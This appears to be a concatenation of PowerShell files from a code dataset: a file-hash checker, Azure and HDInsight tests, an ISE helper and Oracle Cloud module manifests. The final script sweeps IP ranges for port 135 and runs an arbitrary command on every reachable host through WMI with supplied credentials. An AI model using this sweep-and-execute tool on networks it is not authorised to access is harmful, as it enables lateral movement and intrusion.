will be assumed." " -u - Update changed files and add new files to existing database." " -x - specifies .xml database file path to use. Default is .\\hashes.xml" " -e - exclude dirs. Put this after the files/dirs you want to check with SHA512 and needs to be fullpath (e.g. c:\\users\\bob not ..\\bob)." "" "Examples: PS>.\\chkhash.ps1 c:\\ d:\\ -c -x c:\\users\\bob\\hashes\\hashes.xml" " [hash all files on c:\\ and d:\\ and subdirs, create and store hashes in c:\\users\\bob\\hashes\\hashes.xml]" " PS>.\\chkhash.ps1 c:\\users\\alice\\pictures\\sunset.jpg -u -x c:\\users\\alice\\hashes\\pictureshashes.xml]" " [hash c:\\users\\alice\\pictures\\sunset.jpg and add or update the hash to c:\\users\\alice\\hashes\\picturehashes.xml" " PS>.\\chkhash.ps1 c:\\users\\eve\\documents d:\\media\\movies -x c:\\users\\eve\\hashes\\private.xml" " [hash all files in c:\\users\\eve\\documents and d:\\media\\movies, check against hashes stored in c:\\users\\eve\\hashes\\private.xml" " or create it and store hashes there if not present]" " PS>.\\chkhash.ps1 c:\\users\\eve -x c:\\users\\eve\\hashes\\private.xml -e c:\\users\\eve\\hashes" " [hash all files in c:\\users\\eve and subdirs, check hashes against c:\\users\\eve\\hashes\\private.xml or store if not present, exclude " " c:\\users\\eve\\hashes directory and subdirs]" " PS>.\\chkhash.p1s c:\\users\\ted\\documents\\f* d:\\data -x d:\\hashes.xml -e d:\\data\\test d:\\data\\favorites -u" " [hash all files starting with 'f' in c:\\users\\ted\\documents, and all files in d:\\data, add or update hashes to" " existing d:\\hashes.xml, exclude d:\\data\\test and d:\\data\\favorites and subdirs]" " PS>.\\chkhash -x c:\\users\\alice\\hashes\\hashes.xml" " [Load hashes.xml and check hashes of all files contained within.]" "" "Note: files in subdirectories of any specified directory are automatically processed." " if you specify only an -x option, or no option and .\\hash.xml exists, only files in the database will be checked." exit } if ($args2[$i] -like "-u*") {$upd=$true;continue} # Update and Add new files to database? if ($args2[$i] -like "-c*") {$create=$true;continue} # Create database specified? if ($args2[$i] -like "-x*") { $i++ # Get hashes xml database path if ($i -ge $args2.count) { write-host "-X specified but no file path of .xml database specified. Exiting." exit } $hashespath=$args2[$i] continue } if ($args2[$i] -like "-e*") # Exclude files, dirs { while (($i+1) -lt $args2.count) { $i++ if ($args2[$i] -like "-*") {break} $exclude+=@(join-path $args2[$i] "\\") # collect array of excluded directories. } continue } $args3+=@($args2[$i]) # Add files/dirs } if ($args3.count -ne 0) { # Get list of files and SHA512 hash them. "Enumerating files from specified locations..." $files=@(dir $args3 -recurse -ea 0 | ?{$_.mode -notmatch "d"} | ?{noequal $_.directoryname $exclude}) # Get list of files, minus directories and minus files in excluded paths if ($files.count -eq 0) {"No files found. Exiting."; exit} if ($create -eq $true -or !(test-path $hashespath)) # Create database? { # Create SHA512 hashes of files and write to new database $files = $files | %{WriteFileName "SHA-512 Hashing: `"$($_.fullname)`" ...";add-member -inputobject $_ -name SHA512 -membertype noteproperty -value $(get-SHA512 $_.fullname) -passthru} WriteFileNameEnd $files |export-clixml $hashespath "Created $hashespath" "$($files.count) file hash(es) saved. Exiting." exit } write-host "Loading file hashes from $hashespath..." -nonewline $xfiles=@(import-clixml $hashespath|?{noequal $_.directoryname $exclude}) # Load database if ($xfiles.count -eq 0) {"No files specified and no files in Database. Exiting.";Exit} } else { if (!(test-path $hashespath)) {"No database found or specified, exiting."; exit} write-host "Loading file hashes from $hashespath..." -nonewline $xfiles=@(import-clixml $hashespath|?{noequal $_.directoryname $exclude}) # Load database and check it if ($xfiles.count -eq 0) {"No files specified and no files in Database. Exiting.";Exit} $files=$xfiles } "Loaded $($xfiles.count) file hash(es)." $hash=@{} for($x=0;$x -lt $xfiles.count; $x++) # Build dictionary (hash) of filenames and indexes into file array { if ($hash.contains($xfiles[$x].fullname)) {continue} $hash.Add($xfiles[$x].fullname,$x) } foreach($f in $files) { if ((get-item -ea 0 -literalpath $f.fullname) -eq $null) {continue} # skip if file no longer exists. $n=($hash.($f.fullname)) if ($n -eq $null) { $nu++ # increment needs/needed updating count if ($upd -eq $false) {WriteFileNameEnd; "Needs to be added: `"$($f.fullname)`"";continue} # if not updating, then continue WriteFileName "SHA-512 Hashing `"$($f.fullname)`" ..." # Create SHA512 hash of file $f=$f |%{add-member -inputobject $_ -name SHA512 -membertype noteproperty -value $(get-SHA512 $_.fullname) -passthru -force} $xfiles+=@($f) # then add file + hash to list continue } WriteFileName "SHA-512 Hashing and checking: `"$($f.fullname)`" ..." $f=$f |%{add-member -inputobject $_ -name SHA512 -membertype noteproperty -value $(get-SHA512 $_.fullname) -passthru -force} $fc++ # File checked increment. if ($xfiles[$n].SHA512 -eq $f.SHA512) # Check SHA512 for mixmatch. {$fm++;continue} # if matched, increment file matches and continue loop $errs++ # increment mixmatches WriteFileNameEnd if ($upd -eq $true) { $xfiles[$n]=$f; "Updated `"$($f.fullname)`"";continue} "Bad SHA-512 found: `"$($f.fullname)`"" } WriteFileNameEnd # restore cursor position after last write string if ($upd -eq $true) # if database updated { $xfiles|export-clixml $hashespath # write xml database "Updated $hashespath" "$nu file hash(es) added to database." "$errs file hash(es) updated in database." exit } "$errs SHA-512 mixmatch(es) found." "$fm file(s) SHA512 matched." "$fc file(s) checked total." if ($nu -ne 0) {"$nu file(s) need to be added [run with -u option to Add file hashes to database]."}
combined_dataset/train/non-malicious/875.ps1
875.ps1
$here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace '\.Tests', '' . "$here\$sut" $clusterName = $ENV:ClusterName $httpUserPassword = $ENV:HttpPassword $securePassword = ConvertTo-SecureString $httpUserPassword -AsPlainText -Force $creds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "admin", $securePassword function Get-Credential { return $creds } $streamingpy= @" import sys import string import hashlib while True: line = sys.stdin.readline() if not line: break line = string.strip(line, "\n ") clientid, devicemake, devicemodel = string.split(line, "\t") phone_label = devicemake + ' ' + devicemodel print "\t".join([clientid, phone_label, hashlib.md5(phone_label).hexdigest()]) "@ $pigpython=@" @outputSchema("log: {(date:chararray, time:chararray, classname:chararray, level:chararray, detail:chararray)}") def create_structure(input): if (input.startswith('java.lang.Exception')): input = input[21:len(input)] + ' - java.lang.Exception' date, time, classname, level, detail = input.split(' ', 4) return date, time, classname, level, detail "@ Describe "hdinsight-python" { in $TestDrive { $streamingpy | Out-File .\streaming.py $pigpython | Out-File .\pig_python.py Mock Read-Host { $clusterName } Mock Write-Progress { } It "Converts CRLF line endings to just LF" { {Fix-LineEnding("$TestDrive\streaming.py")} | Should not throw {Fix-LineEnding("$TestDrive\pig_python.py")} | Should not throw '.\streaming.py' | Should not Contain "`r`n" '.\pig_python.py' | Should not Contain "`r`n" } It "Uploads the python files to Az.Storage" { { Add-PythonFiles } | Should not throw } It "Runs the hive job" { (Start-HiveJob)[-1].Contains("100004") | Should be True } It "Runs the pig job" { (Start-PigJob)[-1].StartsWith("((2012-02-03") | Should be True } } }
combined_dataset/train/non-malicious/ISE-CopyOutPutToEditor.ps1
ISE-CopyOutPutToEditor.ps1
function ISE-CopyOutPutToEditor () { $count = $psise.CurrentOpenedRunspace.OpenedFiles.count $psIse.CurrentOpenedRunspace.OpenedFiles.Add() $Newfile = $psIse.CurrentOpenedRunspace.OpenedFiles[$count] $Newfile.Editor.Text = $psIse.CurrentOpenedRunspace.output.Text $Newfile.Editor.Focus() # $psise.CurrentOpenedFile.editor.Text = $psIse.CurrentOpenedRunspace.output.Text } $null = $psIse.CustomMenu.Submenus.Add("Copy Output to Editor", {ISE-CopyOutPutToEditor}, 'Ctrl+O')
combined_dataset/train/non-malicious/3504.ps1
3504.ps1
function Test-GetApplicationInsights { $rgname = Get-ApplicationInsightsTestResourceName; try { $appName = "app" + $rgname; $loc = Get-ProviderLocation ResourceManagement; $kind = "web"; New-AzResourceGroup -Name $rgname -Location $loc; $app = New-AzApplicationInsights -ResourceGroupName $rgname -Name $appName -Location $loc -Kind $kind Assert-AreEqual $app.Name $appName Assert-AreEqual $app.Kind $kind Assert-NotNull $app.InstrumentationKey $apps = Get-AzApplicationInsights -ResourceGroupName $rgname; Assert-AreEqual $apps.count 1 Assert-AreEqual $apps[0].Name $appName Assert-AreEqual $apps[0].Kind $kind Assert-NotNull $apps[0].InstrumentationKey Remove-AzApplicationInsights -ResourceGroupName $rgname -Name $appName; } finally { Clean-ResourceGroup $rgname } } function Test-NewApplicationInsights { $rgname = Get-ApplicationInsightsTestResourceName; try { $appName = "app" + $rgname; $loc = Get-ProviderLocation ResourceManagement; $kind = "web"; New-AzResourceGroup -Name $rgname -Location $loc; $app = New-AzApplicationInsights -ResourceGroupName $rgname -Name $appName -Location $loc -Kind $kind Assert-AreEqual $app.Name $appName Assert-AreEqual $app.Kind $kind Assert-NotNull $app.InstrumentationKey $app = Get-AzApplicationInsights -ResourceGroupName $rgname -Name $appName; Assert-AreEqual $app.Name $appName Assert-AreEqual $app.Kind $kind Assert-NotNull $app.InstrumentationKey Remove-AzApplicationInsights -ResourceGroupName $rgname -Name $appName; } finally { Clean-ResourceGroup $rgname } } function Test-RemoveApplicationInsights { $rgname = Get-ApplicationInsightsTestResourceName; try { $appName = "app" + $rgname; $loc = Get-ProviderLocation ResourceManagement; $kind = "web"; New-AzResourceGroup -Name $rgname -Location $loc; New-AzApplicationInsights -ResourceGroupName $rgname -Name $appName -Location $loc -Kind $kind $app = Get-AzApplicationInsights -ResourceGroupName $rgname -Name $appName; Assert-NotNull $app Assert-AreEqual $app.Name $appName Assert-AreEqual $app.Kind $kind Assert-NotNull $app.InstrumentationKey Remove-AzApplicationInsights -ResourceGroupName $rgname -Name $appName; Assert-ThrowsContains { Get-AzApplicationInsights -ResourceGroupName $rgname -Name $appName } "not found" } finally { Clean-ResourceGroup $rgname } }
combined_dataset/train/non-malicious/sample_31_47.ps1
sample_31_47.ps1
# # Module manifest for module 'OCI.PSModules.Datalabelingservice' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Datalabelingservice.dll' # Version number of this module. ModuleVersion = '74.1.0' # Supported PSEditions CompatiblePSEditions = 'Core' # ID used to uniquely identify this module GUID = '600a044a-632a-42d0-b1ab-94f26e2f3791' # Author of this module Author = 'Oracle Cloud Infrastructure' # Company or vendor of this module CompanyName = 'Oracle Corporation' # Copyright statement for this module Copyright = '(c) Oracle Cloud Infrastructure. All rights reserved.' # Description of the functionality provided by this module Description = 'This modules provides Cmdlets for OCI Datalabelingservice Service' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '6.0' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @(@{ModuleName = 'OCI.PSModules.Common'; GUID = 'b3061a0d-375b-4099-ae76-f92fb3cdcdae'; RequiredVersion = '74.1.0'; }) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'assemblies/OCI.DotNetSDK.Datalabelingservice.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = '*' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = 'Add-OCIDatalabelingserviceDatasetLabels', 'Get-OCIDatalabelingserviceAnnotationFormatsList', 'Get-OCIDatalabelingserviceDataset', 'Get-OCIDatalabelingserviceDatasetsList', 'Get-OCIDatalabelingserviceWorkRequest', 'Get-OCIDatalabelingserviceWorkRequestErrorsList', 'Get-OCIDatalabelingserviceWorkRequestLogsList', 'Get-OCIDatalabelingserviceWorkRequestsList', 'Import-OCIDatalabelingservicePreAnnotatedData', 'Invoke-OCIDatalabelingserviceSnapshotDataset', 'Move-OCIDatalabelingserviceDatasetCompartment', 'New-OCIDatalabelingserviceDataset', 'New-OCIDatalabelingserviceDatasetRecords', 'Remove-OCIDatalabelingserviceDataset', 'Remove-OCIDatalabelingserviceDatasetLabels', 'Rename-OCIDatalabelingserviceDatasetLabels', 'Update-OCIDatalabelingserviceDataset' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = '*' # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'PSEdition_Core','Windows','Linux','macOS','Oracle','OCI','Cloud','OracleCloudInfrastructure','Datalabelingservice' # A URL to the license for this module. LicenseUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/LICENSE.txt' # A URL to the main website for this project. ProjectUri = 'https://github.com/oracle/oci-powershell-modules/' # A URL to an icon representing this module. IconUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/icon.png' # ReleaseNotes of this module ReleaseNotes = 'https://github.com/oracle/oci-powershell-modules/blob/master/CHANGELOG.md' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
combined_dataset/train/non-malicious/sample_36_90.ps1
sample_36_90.ps1
# # Module manifest for module 'OCI.PSModules.Cloudbridge' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Cloudbridge.dll' # Version number of this module. ModuleVersion = '74.1.0' # Supported PSEditions CompatiblePSEditions = 'Core' # ID used to uniquely identify this module GUID = '23fab747-5070-4685-94b0-d91859b2fd98' # Author of this module Author = 'Oracle Cloud Infrastructure' # Company or vendor of this module CompanyName = 'Oracle Corporation' # Copyright statement for this module Copyright = '(c) Oracle Cloud Infrastructure. All rights reserved.' # Description of the functionality provided by this module Description = 'This modules provides Cmdlets for OCI Cloudbridge Service' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '6.0' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @(@{ModuleName = 'OCI.PSModules.Common'; GUID = 'b3061a0d-375b-4099-ae76-f92fb3cdcdae'; RequiredVersion = '74.1.0'; }) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'assemblies/OCI.DotNetSDK.Cloudbridge.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = '*' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = 'Add-OCICloudbridgeAgentDependency', 'Get-OCICloudbridgeAgent', 'Get-OCICloudbridgeAgentDependenciesList', 'Get-OCICloudbridgeAgentDependency', 'Get-OCICloudbridgeAgentsList', 'Get-OCICloudbridgeApplianceImagesList', 'Get-OCICloudbridgeAsset', 'Get-OCICloudbridgeAssetsList', 'Get-OCICloudbridgeAssetSource', 'Get-OCICloudbridgeAssetSourceConnectionsList', 'Get-OCICloudbridgeAssetSourcesList', 'Get-OCICloudbridgeDiscoverySchedule', 'Get-OCICloudbridgeDiscoverySchedulesList', 'Get-OCICloudbridgeEnvironment', 'Get-OCICloudbridgeEnvironmentsList', 'Get-OCICloudbridgeHistoricalMetricsList', 'Get-OCICloudbridgeInventoriesList', 'Get-OCICloudbridgeInventory', 'Get-OCICloudbridgePlugin', 'Get-OCICloudbridgeWorkRequest', 'Get-OCICloudbridgeWorkRequestErrorsList', 'Get-OCICloudbridgeWorkRequestLogsList', 'Get-OCICloudbridgeWorkRequestsList', 'Import-OCICloudbridgeInventory', 'Invoke-OCICloudbridgeAnalyzeAssets', 'Invoke-OCICloudbridgeRefreshAssetSource', 'Invoke-OCICloudbridgeSubmitHistoricalMetrics', 'Move-OCICloudbridgeAgentCompartment', 'Move-OCICloudbridgeAgentDependencyCompartment', 'Move-OCICloudbridgeAssetCompartment', 'Move-OCICloudbridgeAssetSourceCompartment', 'Move-OCICloudbridgeAssetTags', 'Move-OCICloudbridgeDiscoveryScheduleCompartment', 'Move-OCICloudbridgeEnvironmentCompartment', 'New-OCICloudbridgeAgent', 'New-OCICloudbridgeAgentDependency', 'New-OCICloudbridgeAsset', 'New-OCICloudbridgeAssetSource', 'New-OCICloudbridgeDiscoverySchedule', 'New-OCICloudbridgeEnvironment', 'New-OCICloudbridgeInventory', 'Remove-OCICloudbridgeAgent', 'Remove-OCICloudbridgeAgentDependency', 'Remove-OCICloudbridgeAsset', 'Remove-OCICloudbridgeAssetSource', 'Remove-OCICloudbridgeDiscoverySchedule', 'Remove-OCICloudbridgeEnvironment', 'Remove-OCICloudbridgeInventory', 'Stop-OCICloudbridgeWorkRequest', 'Update-OCICloudbridgeAgent', 'Update-OCICloudbridgeAgentDependency', 'Update-OCICloudbridgeAsset', 'Update-OCICloudbridgeAssetSource', 'Update-OCICloudbridgeDiscoverySchedule', 'Update-OCICloudbridgeEnvironment', 'Update-OCICloudbridgeInventory', 'Update-OCICloudbridgePlugin' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = '*' # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'PSEdition_Core','Windows','Linux','macOS','Oracle','OCI','Cloud','OracleCloudInfrastructure','Cloudbridge' # A URL to the license for this module. LicenseUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/LICENSE.txt' # A URL to the main website for this project. ProjectUri = 'https://github.com/oracle/oci-powershell-modules/' # A URL to an icon representing this module. IconUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/icon.png' # ReleaseNotes of this module ReleaseNotes = 'https://github.com/oracle/oci-powershell-modules/blob/master/CHANGELOG.md' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
combined_dataset/train/non-malicious/sample_31_33.ps1
sample_31_33.ps1
# # Module manifest for module 'OCI.PSModules.Monitoring' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Monitoring.dll' # Version number of this module. ModuleVersion = '80.0.0' # Supported PSEditions CompatiblePSEditions = 'Core' # ID used to uniquely identify this module GUID = 'bb8a391d-e2cd-45ce-b0df-4636cbbb16a4' # Author of this module Author = 'Oracle Cloud Infrastructure' # Company or vendor of this module CompanyName = 'Oracle Corporation' # Copyright statement for this module Copyright = '(c) Oracle Cloud Infrastructure. All rights reserved.' # Description of the functionality provided by this module Description = 'This modules provides Cmdlets for OCI Monitoring Service' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '6.0' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @(@{ModuleName = 'OCI.PSModules.Common'; GUID = 'b3061a0d-375b-4099-ae76-f92fb3cdcdae'; RequiredVersion = '80.0.0'; }) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'assemblies/OCI.DotNetSDK.Monitoring.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = '*' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = 'Get-OCIMonitoringAlarm', 'Get-OCIMonitoringAlarmHistory', 'Get-OCIMonitoringAlarmsList', 'Get-OCIMonitoringAlarmsStatusList', 'Get-OCIMonitoringAlarmSuppression', 'Get-OCIMonitoringAlarmSuppressionsList', 'Get-OCIMonitoringMetricsList', 'Invoke-OCIMonitoringRetrieveDimensionStates', 'Invoke-OCIMonitoringSummarizeAlarmSuppressionHistory', 'Invoke-OCIMonitoringSummarizeMetricsData', 'Move-OCIMonitoringAlarmCompartment', 'New-OCIMonitoringAlarm', 'New-OCIMonitoringAlarmSuppression', 'Remove-OCIMonitoringAlarm', 'Remove-OCIMonitoringAlarmSuppression', 'Submit-OCIMonitoringMetricData', 'Update-OCIMonitoringAlarm' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = '*' # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'PSEdition_Core','Windows','Linux','macOS','Oracle','OCI','Cloud','OracleCloudInfrastructure','Monitoring' # A URL to the license for this module. LicenseUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/LICENSE.txt' # A URL to the main website for this project. ProjectUri = 'https://github.com/oracle/oci-powershell-modules/' # A URL to an icon representing this module. IconUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/icon.png' # ReleaseNotes of this module ReleaseNotes = 'https://github.com/oracle/oci-powershell-modules/blob/master/CHANGELOG.md' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
combined_dataset/train/non-malicious/4257.ps1
4257.ps1
function New-IPv4Range { param( [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=0)] $StartIP, [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=2)] $EndIP ) $ip1 = ([System.Net.IPAddress]$StartIP).GetAddressBytes() [Array]::Reverse($ip1) $ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address $ip2 = ([System.Net.IPAddress]$EndIP).GetAddressBytes() [Array]::Reverse($ip2) $ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address for ($x=$ip1; $x -le $ip2; $x++) { $ip = ([System.Net.IPAddress]$x).GetAddressBytes() [Array]::Reverse($ip) $ip -join '.' } } function New-IPRange { [CmdletBinding(DefaultParameterSetName='CIDR')] Param( [parameter(Mandatory=$true, ParameterSetName = 'CIDR', Position=0)] [string]$CIDR, [parameter(Mandatory=$true, ParameterSetName = 'Range', Position=0)] [string]$Range ) if($CIDR) { $IPPart,$MaskPart = $CIDR.Split('/') $AddressFamily = ([System.Net.IPAddress]::Parse($IPPart)).AddressFamily $subnetMaskObj = [IPHelper.IP.Subnetmask]::Parse($MaskPart, $AddressFamily) $StartIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessNetworkAddress($IPPart, $subnetMaskObj) $EndIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessBroadcastAddress($IPPart,$subnetMaskObj) $StartIP = [IPHelper.IP.IPAddressAnalysis]::Increase($StartIP) $EndIP = [IPHelper.IP.IPAddressAnalysis]::Decrease($EndIP) [IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP) } elseif ($Range) { $StartIP, $EndIP = $range.split('-') [IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP) } } function New-IPv4RangeFromCIDR { param( [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=0)] $Network ) $StrNetworkAddress = ($Network.split('/'))[0] [int]$NetworkLength = ($Network.split('/'))[1] $NetworkIP = ([System.Net.IPAddress]$StrNetworkAddress).GetAddressBytes() $IPLength = 32-$NetworkLength [Array]::Reverse($NetworkIP) $NumberOfIPs = ([System.Math]::Pow(2, $IPLength)) -1 $NetworkIP = ([System.Net.IPAddress]($NetworkIP -join '.')).Address $StartIP = $NetworkIP +1 $EndIP = $NetworkIP + $NumberOfIPs If ($EndIP -isnot [double]) { $EndIP = $EndIP -as [double] } If ($StartIP -isnot [double]) { $StartIP = $StartIP -as [double] } $StartIP = ([System.Net.IPAddress]$StartIP).IPAddressToString $EndIP = ([System.Net.IPAddress]$EndIP).IPAddressToString New-IPv4Range $StartIP $EndIP } $runme = { param ( [Object] $IPAddress, [Object] $Creds, [Object] $Command ) $getcreds = $Creds $Port = 135 $Socket = New-Object Net.Sockets.TcpClient $Socket.client.ReceiveTimeout = 2000 $ErrorActionPreference = 'SilentlyContinue' $Socket.Connect($IPAddress, $Port) $ErrorActionPreference = 'Continue' if ($Socket.Connected) { $endpointResult = New-Object PSObject | Select-Object Host, PortOpen $endpointResult.PortOpen = 'Open' $endpointResult.Host = $IPAddress $Socket.Close() } else { $portclosed = 'True' } $Socket = $null if ($endpointResult.PortOpen -eq 'Open') { $WMIResult = Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $IPAddress -Credential $getcreds -ArgumentList $Command If ($WMIResult.Returnvalue -eq 0) { Write-Output "Executed WMI Command with Sucess: $Command `n" } else { Write-Output "WMI Command Failed - Could be due to permissions or UAC is enabled on the remote host, Try mounting the C$ share to check administrative access to the host" } } else { Write-Output "TCP Port 135 not available on host: $IPAddress" } return $endpointResult } function Invoke-WMICommand { param ( [Object] $IPAddress, [Object] $IPRangeCIDR, [Object] $IPList, [Object] $Threads, [Object] $Command, [Object] $username, [Object] $password ) if ($username) { $PSS = ConvertTo-SecureString $password -AsPlainText -Force $getcreds = new-object system.management.automation.PSCredential $username,$PSS } else { $getcreds = Get-Credential } if ($IPList) {$iprangefull = Get-Content $IPList} if ($IPRangeCIDR) {$iprangefull = New-IPv4RangeFromCIDR $IPRangeCIDR} if ($IPAddress) {$iprangefull = $IPAddress} Write-Output '' Write-Output $iprangefull.count + "Total hosts read from file" $jobs = @() $start = get-date Write-Output "Begin Scanning at $start" if (!$Threads){$Threads = 64} $pool = [runspacefactory]::CreateRunspacePool(1, $Threads) $pool.Open() $endpointResults = @() $jobs = @() $ps = @() $wait = @() $i = 0 foreach ($endpoint in $iprangefull) { while ($($pool.GetAvailableRunspaces()) -le 0) { Start-Sleep -milliseconds 500 } $ps += [powershell]::create() $ps[$i].runspacepool = $pool [void]$ps[$i].AddScript($runme) [void]$ps[$i].AddParameter('IPAddress', $endpoint) [void]$ps[$i].AddParameter('Creds', $getcreds) [void]$ps[$i].AddParameter('Command', $Command) $jobs += $ps[$i].BeginInvoke(); $wait += $jobs[$i].AsyncWaitHandle $i++ } Write-Output 'Waiting for scanning threads to finish...' $waitTimeout = get-date while ($($jobs | Where-Object {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(get-date) - $waitTimeout).totalSeconds) -gt 60) { Start-Sleep -milliseconds 500 } for ($y = 0; $y -lt $i; $y++) { try { $endpointResults += $ps[$y].EndInvoke($jobs[$y]) } catch { write-warning "error: $_" } finally { $ps[$y].Dispose() } } $pool.Dispose() $end = get-date $totaltime = $end - $start Write-Output "We scanned $($iprangefull.count) endpoints in $($totaltime.totalseconds) seconds" $endpointResults }
combined_dataset/train/non-malicious/1838.ps1
1838.ps1
